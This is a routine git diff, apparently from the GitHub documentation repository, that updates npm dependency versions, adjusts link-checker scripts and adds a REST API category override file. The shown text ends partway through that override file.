-          "requires": {
-            "hosted-git-info": "^2.1.4",
-            "resolve": "^1.10.0",
-            "semver": "2 || 3 || 4 || 5",
-            "validate-npm-package-license": "^3.0.1"
-          }
-        },
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
-          "dev": true
-        },
         "type-fest": {
-          "version": "0.6.0",
-          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz",
-          "integrity": "sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==",
+          "version": "1.4.0",
+          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+          "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
           "dev": true
         }
       }
     },
     "read-pkg-up": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-7.0.1.tgz",
-      "integrity": "sha512-zK0TB7Xd6JpCLmlLmufqykGE+/TlOePD6qKClNW7hHDKFh/J7/7gCWGR7joEQEW1bKq3a3yUZSObOoWLFQ4ohg==",
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-8.0.0.tgz",
+      "integrity": "sha512-snVCqPczksT0HS2EC+SxUndvSzn6LRCwpfSvLrIfR5BKDQQZMaI6jPRC9dYvYFDRAuFEAnkwww8kBBNE/3VvzQ==",
       "dev": true,
       "requires": {
-        "find-up": "^4.1.0",
-        "read-pkg": "^5.2.0",
-        "type-fest": "^0.8.1"
+        "find-up": "^5.0.0",
+        "read-pkg": "^6.0.0",
+        "type-fest": "^1.0.1"
       },
       "dependencies": {
         "find-up": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
-          "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
+          "version": "5.0.0",
+          "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
+          "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
           "dev": true,
           "requires": {
-            "locate-path": "^5.0.0",
+            "locate-path": "^6.0.0",
             "path-exists": "^4.0.0"
           }
         },
         "locate-path": {
-          "version": "5.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz",
-          "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+          "version": "6.0.0",
+          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
+          "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
           "dev": true,
           "requires": {
-            "p-locate": "^4.1.0"
-          }
-        },
-        "p-limit": {
-          "version": "2.3.0",
-          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-          "dev": true,
-          "requires": {
-            "p-try": "^2.0.0"
+            "p-locate": "^5.0.0"
           }
         },
         "p-locate": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
-          "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+          "version": "5.0.0",
+          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
+          "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
           "dev": true,
           "requires": {
-            "p-limit": "^2.2.0"
+            "p-limit": "^3.0.2"
           }
         },
         "path-exists": {
@@ -37527,9 +37482,9 @@
           "dev": true
         },
         "type-fest": {
-          "version": "0.8.1",
-          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz",
-          "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==",
+          "version": "1.4.0",
+          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz",
+          "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==",
           "dev": true
         }
       }
@@ -37562,13 +37517,21 @@
       }
     },
     "redent": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
-      "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/redent/-/redent-4.0.0.tgz",
+      "integrity": "sha512-tYkDkVVtYkSVhuQ4zBgfvciymHaeuel+zFKXShfDnFP5SyVEP7qo70Rf1jTOTCx3vGNAbnEi/xFkcfQVMIBWag==",
       "dev": true,
       "requires": {
-        "indent-string": "^4.0.0",
-        "strip-indent": "^3.0.0"
+        "indent-string": "^5.0.0",
+        "strip-indent": "^4.0.0"
+      },
+      "dependencies": {
+        "indent-string": {
+          "version": "5.0.0",
+          "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-5.0.0.tgz",
+          "integrity": "sha512-m6FAo/spmsW2Ab2fU35JTYwtOKa2yAwXSwgjSv1TJzh4Mh7mC3lzAOVLBprb72XsTrgkEIsl7YrFNAiDiRhIGg==",
+          "dev": true
+        }
       }
     },
     "redis": {
@@ -37846,9 +37809,9 @@
       }
     },
     "rehype-slug": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/rehype-slug/-/rehype-slug-5.0.0.tgz",
-      "integrity": "sha512-jnYsFKxRh+/tQa1L+SU/ykAPGOSVCqd0BwaOBPUANcvCu8d0/SZB4IalJkdJ+n6d1eAAS2YkvjUPi+2EGYtfCQ==",
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/rehype-slug/-/rehype-slug-5.0.1.tgz",
+      "integrity": "sha512-X5v3wV/meuOX9NFcGhJvUpEjIvQl2gDvjg3z40RVprYFt7q3th4qMmYLULiu3gXvbNX1ppx+oaa6JyY1W67pTA==",
       "requires": {
         "@types/hast": "^2.0.0",
         "github-slugger": "^1.1.1",
@@ -38298,12 +38261,6 @@
             "mime-types": "^2.1.12"
           }
         },
-        "punycode": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-          "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
-          "dev": true
-        },
         "qs": {
           "version": "6.5.2",
           "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz",
@@ -38985,9 +38942,9 @@
       }
     },
     "spdx-license-ids": {
-      "version": "3.0.10",
-      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.10.tgz",
-      "integrity": "sha512-oie3/+gKf7QtpitB0LYLETe+k8SifzsX4KixvpOsbI6S0kRiRQ5MKOio8eMSAKQ17N06+wdEOXRiId+zOxo0hA==",
+      "version": "3.0.11",
+      "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.11.tgz",
+      "integrity": "sha512-Ctl2BrFiM0X3MANYgj3CkygxhRmr9mi6xhejbdO960nF6EDJApTYpn0BQnDKlnNBULKiCN1n3w9EBkHK8ZWg+g==",
       "dev": true
     },
     "split": {
@@ -39308,12 +39265,12 @@
       "integrity": "sha1-Cuff8DAKYHWkwpP7YRG0yx0Mt7c="
     },
     "strip-indent": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
-      "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-4.0.0.tgz",
+      "integrity": "sha512-mnVSV2l+Zv6BLpSD/8V87CW/y9EmmbYzGCIavsnsI6/nwn26DwffM/yztm30Z/I2DY9wdS3vXVCMnHDgZaVNoA==",
       "dev": true,
       "requires": {
-        "min-indent": "^1.0.0"
+        "min-indent": "^1.0.1"
       }
     },
     "strip-json-comments": {
@@ -39514,9 +39471,9 @@
       }
     },
     "swr": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/swr/-/swr-1.1.0.tgz",
-      "integrity": "sha512-MFL3mkl752Uap81nLA1tEu7vQmikPamSziW+6dBidYKAo4oLOlUx/x5GZy4ZCkCwfZe2uedylkz1UMGnatUX4g==",
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/swr/-/swr-1.1.2.tgz",
+      "integrity": "sha512-UsM0eo5T+kRPyWFZtWRx2XR5qzohs/LS4lDC0GCyLpCYFmsfTk28UCVDbOE9+KtoXY4FnwHYiF+ZYEU3hnJ1lQ==",
       "requires": {}
     },
     "symbol-tree": {
@@ -39810,14 +39767,6 @@
         "psl": "^1.1.33",
         "punycode": "^2.1.1",
         "universalify": "^0.1.2"
-      },
-      "dependencies": {
-        "punycode": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-          "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
-          "dev": true
-        }
       }
     },
     "tr46": {
@@ -39827,14 +39776,6 @@
       "dev": true,
       "requires": {
         "punycode": "^2.1.1"
-      },
-      "dependencies": {
-        "punycode": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-          "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
-          "dev": true
-        }
       }
     },
     "tree-kill": {
@@ -39844,9 +39785,9 @@
       "optional": true
     },
     "trim-newlines": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-3.0.1.tgz",
-      "integrity": "sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==",
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-4.0.2.tgz",
+      "integrity": "sha512-GJtWyq9InR/2HRiLZgpIKv+ufIKrVrvjQWEj7PxAXNc5dwbNJkqhAUoAGgzRmULAnoOM5EIpveYd3J2VeSAIew==",
       "dev": true
     },
     "trim-trailing-lines": {
@@ -40298,13 +40239,6 @@
       "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
       "requires": {
         "punycode": "^2.1.0"
-      },
-      "dependencies": {
-        "punycode": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-          "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
-        }
       }
     },
     "url": {
@@ -40632,9 +40566,11 @@
       }
     },
     "watchpack": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.1.1.tgz",
-      "integrity": "sha512-Oo7LXCmc1eE1AjyuSBmtC3+Wy4HcV8PxWh2kP6fOl8yTlNS7r0K9l1ao2lrrUza7V39Y3D/BbJgY8VeSlc5JKw==",
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.3.0.tgz",
+      "integrity": "sha512-MnN0Q1OsvB/GGHETrFeZPQaOelWh/7O+EiFlj8sM9GPjtQkis7k01aAxrg/18kTfoIVcLL+haEVFlXDaSRwKRw==",
+      "devOptional": true,
+      "peer": true,
       "requires": {
         "glob-to-regexp": "^0.4.1",
         "graceful-fs": "^4.1.2"
@@ -40743,17 +40679,6 @@
             "ajv": "^6.12.5",
             "ajv-keywords": "^3.5.2"
           }
-        },
-        "watchpack": {
-          "version": "2.2.0",
-          "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.2.0.tgz",
-          "integrity": "sha512-up4YAn/XHgZHIxFBVCdlMiWDj6WaLKpwVeGQk2I5thdYxF/KmF0aaz6TfJZ/hfl1h/XlcDr7k1KH7ThDagpFaA==",
-          "devOptional": true,
-          "peer": true,
-          "requires": {
-            "glob-to-regexp": "^0.4.1",
-            "graceful-fs": "^4.1.2"
-          }
         }
       }
     },
diff --git a/package.json b/package.json
index 8e734e0082..0a8d6ea134 100644
--- a/package.json
+++ b/package.json
@@ -11,8 +11,8 @@
   "dependencies": {
     "@github/failbot": "0.8.0",
     "@hapi/accept": "^5.0.2",
-    "@primer/components": "^32.1.0",
-    "@primer/css": "^18.2.0",
+    "@primer/components": "^33.1.0",
+    "@primer/css": "^19.1.1",
     "@primer/octicons": "^16.1.1",
     "@primer/octicons-react": "^16.2.0",
     "@react-aria/ssr": "^3.1.0",
@@ -72,7 +72,7 @@
     "rehype-autolink-headings": "^6.1.0",
     "rehype-highlight": "^5.0.0",
     "rehype-raw": "^6.1.1",
-    "rehype-slug": "^5.0.0",
+    "rehype-slug": "^5.0.1",
     "rehype-stringify": "^9.0.2",
     "remark-code-extra": "^1.0.1",
     "remark-gemoji-to-emoji": "^1.1.0",
@@ -87,7 +87,7 @@
     "slash": "^4.0.0",
     "strip-html-comments": "^1.0.0",
     "styled-components": "^5.3.3",
-    "swr": "1.1.0",
+    "swr": "1.1.2",
     "throng": "^5.0.0",
     "ts-dedent": "^2.2.0",
     "unified": "^10.1.0",
@@ -153,7 +153,7 @@
     "jest": "^27.4.3",
     "jest-github-actions-reporter": "^1.0.3",
     "jest-slow-test-reporter": "^1.0.0",
-    "linkinator": "^2.16.2",
+    "linkinator": "^3.0.3",
     "lint-staged": "^12.1.2",
     "make-promises-safe": "^5.1.0",
     "minimatch": "^3.0.4",
@@ -179,7 +179,7 @@
     "yesno": "^0.3.1"
   },
   "engines": {
-    "node": ">= 16.0.0"
+    "node": "16.x"
   },
   "exports": "./server.mjs",
   "license": "(MIT AND CC-BY-4.0)",
@@ -224,7 +224,7 @@
     "translation-check": "start-server-and-test translation-check-server 4002 translation-check-test",
     "translation-check-server": "cross-env NODE_ENV=test PORT=4002 node server.mjs",
     "translation-check-test": "script/i18n/test-html-pages.js",
-    "test": "cross-env NODE_OPTIONS='--max_old_space_size=8192 --experimental-vm-modules' jest",
+    "test": "cross-env NODE_OPTIONS='--max_old_space_size=8192 --experimental-vm-modules' jest --logHeapUsage",
     "test-watch": "cross-env NODE_OPTIONS=--experimental-vm-modules jest --watch --notify --notifyMode=change --coverage",
     "tsc": "tsc --noEmit"
   },
diff --git a/script/README.md b/script/README.md
index 936650f12e..eb0273963f 100644
--- a/script/README.md
+++ b/script/README.md
@@ -460,7 +460,7 @@ Run this script to standardize frontmatter fields in all content files, per the
 
 ### [`sync-search-indices.js`](sync-search-indices.js)
 
-This script is run on a schedule very four hours to generate searchable data. It can also be run manually. To run it manually, click "Run workflow" button in the [Actions tab](https://github.com/github/docs-internal/actions/workflows/sync-search-indices.yml). For more info see [contributing/search.md](contributing/search.md)
+This script is run on a schedule every four hours to generate searchable data. It can also be run manually. To run it manually, click "Run workflow" button in the [Actions tab](https://github.com/github/docs-internal/actions/workflows/sync-search-indices.yml). For more info see [contributing/search.md](contributing/search.md)
 
 ---
 
diff --git a/script/check-english-links.js b/script/check-english-links.js
index 96b6ad9c40..0f528dd2d0 100755
--- a/script/check-english-links.js
+++ b/script/check-english-links.js
@@ -13,7 +13,7 @@
 import { fileURLToPath } from 'url'
 import path from 'path'
 import fs from 'fs'
-import linkinator from 'linkinator'
+import { LinkChecker } from 'linkinator'
 import program from 'commander'
 import { pull, uniq } from 'lodash-es'
 import rimraf from 'rimraf'
@@ -24,7 +24,7 @@ import excludedLinks from '../lib/excluded-links.js'
 import libLanguages from '../lib/languages.js'
 const __dirname = path.dirname(fileURLToPath(import.meta.url))
 
-const checker = new linkinator.LinkChecker()
+const checker = new LinkChecker()
 const root = 'https://docs.github.com'
 const englishRoot = `${root}/en`
 
diff --git a/script/check-internal-links.js b/script/check-internal-links.js
index 5bbe542541..a3b1e9b665 100755
--- a/script/check-internal-links.js
+++ b/script/check-internal-links.js
@@ -11,10 +11,10 @@
 //
 // [end-readme]
 
-import linkinator from 'linkinator'
+import { LinkChecker } from 'linkinator'
 import { deprecated, latest } from '../lib/enterprise-server-releases.js'
 
-const checker = new linkinator.LinkChecker()
+const checker = new LinkChecker()
 const englishRoot = 'http://localhost:4002/en'
 const allowedVersions = ['dotcom', 'enterprise-cloud', 'enterprise-server', 'github-ae']
 
diff --git a/script/i18n/test-render-translation.js b/script/i18n/test-render-translation.js
index 2b9fc06c89..e618526bea 100755
--- a/script/i18n/test-render-translation.js
+++ b/script/i18n/test-render-translation.js
@@ -67,7 +67,7 @@ async function main() {
       // test the content
       await renderContent.liquid.parseAndRender(content, context)
       // test each translatable frontmatter property
-      for (const key in translatableFm) {
+      for (const key of translatableFm) {
         await renderContent.liquid.parseAndRender(data[key], context)
       }
     } catch (err) {
diff --git a/script/rendered-content-link-checker.mjs b/script/rendered-content-link-checker.mjs
index 9aa16702ea..779b14d2ab 100755
--- a/script/rendered-content-link-checker.mjs
+++ b/script/rendered-content-link-checker.mjs
@@ -16,10 +16,10 @@ import chalk from 'chalk'
 import shortVersions from '../middleware/contextualizers/short-versions.js'
 import contextualize from '../middleware/context.js'
 import { languageKeys } from '../lib/languages.js'
-import { loadPages, loadPageMap, loadUnversionedTree } from '../lib/page-data.js'
-import loadRedirects from '../lib/redirects/precompile.js'
+import warmServer from '../lib/warm-server.js'
 import renderContent from '../lib/render-content/index.js'
 import { deprecated } from '../lib/enterprise-server-releases.js'
+import readFileAsync from '../lib/readfile-async.js'
 
 const STATIC_PREFIXES = {
   assets: path.resolve('assets'),
@@ -66,35 +66,63 @@ program
     }
     return parsed
   })
+  .option(
+    '--list <file>.json',
+    'JSON file containing an array of specific files to check (default: none)',
+    (filePath) => {
+      const resolvedPath = path.resolve(filePath)
+
+      let stats
+      try {
+        stats = fs.statSync(resolvedPath)
+      } catch (error) {
+        // Ignore
+      }
+
+      if (!stats || !stats.isFile()) {
+        throw new InvalidArgumentError('Not an existing file.')
+      }
+
+      return resolvedPath
+    }
+  )
   .arguments('[files...]', 'Specific files to check')
   .parse(process.argv)
 
 main(program.opts(), program.args)
 
 async function main(opts, files) {
-  const { random, language, filter, exit, debug, max, verbose } = opts
+  const { random, language, filter, exit, debug, max, verbose, list } = opts
 
-  debug && console.time('loadUnversionedTree')
-  const unversionedTree = await loadUnversionedTree()
-  debug && console.timeEnd('loadUnversionedTree')
-
-  debug && console.time('loadPages')
-  const pageList = await loadPages(unversionedTree)
-  debug && console.timeEnd('loadPages')
-
-  debug && console.time('loadPageMap')
-  const pageMap = await loadPageMap(pageList)
-  debug && console.timeEnd('loadPageMap')
-
-  debug && console.time('loadRedirects')
-  const redirects = await loadRedirects(pageList)
-  debug && console.timeEnd('loadRedirects')
+  // Note! The reason we're using `warmServer()` in this script,
+  // even though there's no server involved, is because
+  // the `contextualize()` function calls it.
+  // And because warmServer() is actually idempotent, meaning it's
+  // cheap to call it more than once, it would be expensive to call it
+  // twice unnecessarily.
+  // If we'd manually do the same operations that `warmServer()` does
+  // here (e.g. `loadPageMap()`), we'd end up having to do it all over
+  // again, the next time `contextualize()` is called.
+  const { redirects, pages: pageMap, pageList } = await warmServer()
 
   const languages = language || []
   console.assert(Array.isArray(languages), `${languages} is not an array`)
   const filters = filter || []
   console.assert(Array.isArray(filters), `${filters} is not an array`)
 
+  if (list && Array.isArray(files) && files.length > 0) {
+    throw new InvalidArgumentError('Cannot specify both --list and a file list.')
+  }
+
+  if (list) {
+    const fileList = JSON.parse(await readFileAsync(list))
+    if (Array.isArray(fileList) && fileList.length > 0) {
+      files = fileList
+    } else {
+      throw new InvalidArgumentError('No files found in --list.')
+    }
+  }
+
   if (random) {
     shuffle(pageList)
   }
@@ -129,12 +157,17 @@ async function main(opts, files) {
 function printGlobalCacheHitRatio() {
   const hits = globalCacheHitCount
   const misses = globalCacheMissCount
-  console.log(
-    `Cache hit ratio: ${hits.toLocaleString()} of ${(misses + hits).toLocaleString()} (${(
-      (100 * hits) /
-      (misses + hits)
-    ).toFixed(1)}%)`
-  )
+  // It could be that the files that were tested didn't have a single
+  // link in them. In that case, there's no cache misses or hits at all.
+  // So avoid the division by zero.
+  if (misses + hits) {
+    console.log(
+      `Cache hit ratio: ${hits.toLocaleString()} of ${(misses + hits).toLocaleString()} (${(
+        (100 * hits) /
+        (misses + hits)
+      ).toFixed(1)}%)`
+    )
+  }
 }
 
 function getDurationString(date1, date2) {
diff --git a/script/rest/update-files.js b/script/rest/update-files.js
index 4d40680f83..9aca5d62b4 100755
--- a/script/rest/update-files.js
+++ b/script/rest/update-files.js
@@ -33,13 +33,15 @@ program
   )
   .option('-d --include-deprecated', 'Includes schemas that are marked as `deprecated: true`')
   .option('-u --include-unpublished', 'Includes schemas that are marked as `published: false`')
+  .option('--redirects-only', 'Only generate the redirects file')
   .parse(process.argv)
 
-const { decorateOnly, versions, includeUnpublished, includeDeprecated } = program.opts()
+const { decorateOnly, versions, includeUnpublished, includeDeprecated, redirectsOnly } =
+  program.opts()
 
 // Check that the github/github repo exists. If the files are only being
 // decorated, the github/github repo isn't needed.
-if (!decorateOnly) {
+if (!decorateOnly && !redirectsOnly) {
   try {
     await stat(githubRepoDir)
   } catch (error) {
@@ -68,11 +70,15 @@ main()
 
 async function main() {
   // Generate the dereferenced OpenAPI schema files
-  if (!decorateOnly) {
+  if (!decorateOnly && !redirectsOnly) {
     await getDereferencedFiles()
   }
   // Decorate the dereferenced files in a format ingestible by docs.github.com
-  await decorate()
+  if (!redirectsOnly) {
+    await decorate()
+  }
+
+  await updateRedirectOverrides()
 
   console.log(
     '\n🏁 The static REST API files are now up-to-date with your local `github/github` checkout. To revert uncommitted changes, run `git checkout lib/rest/static/*.\n\n'
@@ -128,6 +134,23 @@ async function getDereferencedFiles() {
   }
 }
 
+async function updateRedirectOverrides() {
+  const overrides = JSON.parse(await readFile('script/rest/utils/rest-api-overrides.json', 'utf8'))
+
+  const redirects = {}
+  console.log('\n➡️  Updating REST API redirect exception list.\n')
+  for (const value of Object.values(overrides)) {
+    const oldUrl = value.originalUrl
+    const anchor = oldUrl.replace('/rest/reference', '').split('#')[1]
+    redirects[oldUrl] = `/rest/reference/${value.category}#${anchor}`
+  }
+  await writeFile(
+    'lib/redirects/static/rest-api-redirect-exceptions.json',
+    JSON.stringify(redirects, null, 2),
+    'utf8'
+  )
+}
+
 async function decorate() {
   console.log('\n🎄 Decorating the OpenAPI schema files in lib/rest/static/dereferenced.\n')
   const dereferencedSchemas = {}
diff --git a/script/rest/utils/operation.js b/script/rest/utils/operation.js
index 23f9e64841..6c01fbf519 100644
--- a/script/rest/utils/operation.js
+++ b/script/rest/utils/operation.js
@@ -1,4 +1,5 @@
 #!/usr/bin/env node
+import { readFile } from 'fs/promises'
 import { get, flatten, isPlainObject } from 'lodash-es'
 import { sentenceCase } from 'change-case'
 import GitHubSlugger from 'github-slugger'
@@ -7,6 +8,9 @@ import renderContent from '../../../lib/render-content/index.js'
 import createCodeSamples from './create-code-samples.js'
 import Ajv from 'ajv'
 import operationSchema from './operation-schema.js'
+const overrideOperations = JSON.parse(
+  await readFile('script/rest/utils/rest-api-overrides.json', 'utf8')
+)
 const slugger = new GitHubSlugger()
 
 // titles that can't be derived by sentence-casing the ID
@@ -26,14 +30,31 @@ export default class Operation {
     this.slug = slugger.slug(this.summary)
 
     // Add category
+
     // workaround for misnamed `code-scanning.` category bug
     // https://github.com/github/rest-api-description/issues/38
     this['x-github'].category = this['x-github'].category.replace('.', '')
-    this.category = this['x-github'].category
+    // A temporary override file allows us to override the category defined in
+    // the openapi schema. Without it, we'd have to update several
+    // @documentation_urls in the github/github code every time we move
+    // an endpoint to a new page.
+    this.category = overrideOperations[this.operationId]
+      ? overrideOperations[this.operationId].category
+      : this['x-github'].category
     this.categoryLabel = categoryTitles[this.category] || sentenceCase(this.category)
 
     // Add subcategory
-    if (this['x-github'].subcategory) {
+
+    // A temporary override file allows us to override the subcategory
+    // defined in the openapi schema. Without it, we'd have to update several
+    // @documentation_urls in the github/github code every time we move
+    // an endpoint to a new page.
+    if (overrideOperations[this.operationId]) {
+      if (overrideOperations[this.operationId].subcategory) {
+        this.subcategory = overrideOperations[this.operationId].subcategory
+        this.subcategoryLabel = sentenceCase(this.subcategory)
+      }
+    } else if (this['x-github'].subcategory) {
       this.subcategory = this['x-github'].subcategory
       this.subcategoryLabel = sentenceCase(this.subcategory)
     }
diff --git a/script/rest/utils/rest-api-overrides.json b/script/rest/utils/rest-api-overrides.json
new file mode 100644
index 0000000000..491b9587d9
--- /dev/null
+++ b/script/rest/utils/rest-api-overrides.json
@@ -0,0 +1,612 @@
+{
+  "repos/list-collaborators": {
+    "category": "collaborators",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#list-repository-collaborators"
+  },
+  "repos/check-collaborator": {
+    "category": "collaborators",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#check-if-a-user-is-a-repository-collaborator"
+  },
+  "repos/add-collaborator": {
+    "category": "collaborators",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#add-a-repository-collaborator"
+  },
+  "repos/remove-collaborator": {
+    "category": "collaborators",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#remove-a-repository-collaborator"
+  },
+  "repos/get-collaborator-permission-level": {
+    "category": "collaborators",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-repository-permissions-for-a-user"
+  },
+  "repos/list-commit-comments-for-repo": {
+    "category": "commits",
+    "subcategory": "comments",
+    "originalUrl": "/rest/reference/repos#list-commit-comments-for-a-repository"
+  },
+  "repos/get-commit-comment": {
+    "category": "commits",
+    "subcategory": "comments",
+    "originalUrl": "/rest/reference/repos#get-a-commit-comment"
+  },
+  "repos/update-commit-comment": {
+    "category": "commits",
+    "subcategory": "comments",
+    "originalUrl": "/rest/reference/repos#update-a-commit-comment"
+  },
+  "repos/delete-commit-comment": {
+    "category": "commits",
+    "subcategory": "comments",
+    "originalUrl": "/rest/reference/repos#delete-a-commit-comment"
+  },
+  "repos/list-commits": {
+    "category": "commits",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#list-commits"
+  },
+  "repos/list-branches-for-head-commit": {
+    "category": "commits",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#list-branches-for-head-commit"
+  },
+  "repos/list-comments-for-commit": {
+    "category": "commits",
+    "subcategory": "comments",
+    "originalUrl": "/rest/reference/repos#list-commit-comments"
+  },
+  "repos/create-commit-comment": {
+    "category": "commits",
+    "subcategory": "comments",
+    "originalUrl": "/rest/reference/repos#create-a-commit-comment"
+  },
+  "repos/list-pull-requests-associated-with-commit": {
+    "category": "commits",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#list-pull-requests-associated-with-a-commit"
+  },
+  "repos/get-commit": {
+    "category": "commits",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#get-a-commit"
+  },
+  "repos/get-combined-status-for-ref": {
+    "category": "commits",
+    "subcategory": "statuses",
+    "originalUrl": "/rest/reference/repos#get-the-combined-status-for-a-specific-reference"
+  },
+  "repos/list-commit-statuses-for-ref": {
+    "category": "commits",
+    "subcategory": "statuses",
+    "originalUrl": "/rest/reference/repos#list-commit-statuses-for-a-reference"
+  },
+  "repos/get-community-profile-metrics": {
+    "category": "metrics",
+    "subcategory": "community",
+    "originalUrl": "/rest/reference/repos#get-community-profile-metrics"
+  },
+  "repos/compare-commits": {
+    "category": "commits",
+    "subcategory": null,
+    "originalUrl": "/rest/reference/repos#compare-two-commits"
+  },
+  "repos/get-all-environments": {
+    "category": "deployments",
+    "subcategory": "environments",
+    "originalUrl": "/rest/reference/repos#get-all-environments"
+  },
+  "repos/get-environment": {
+    "category": "deployments",
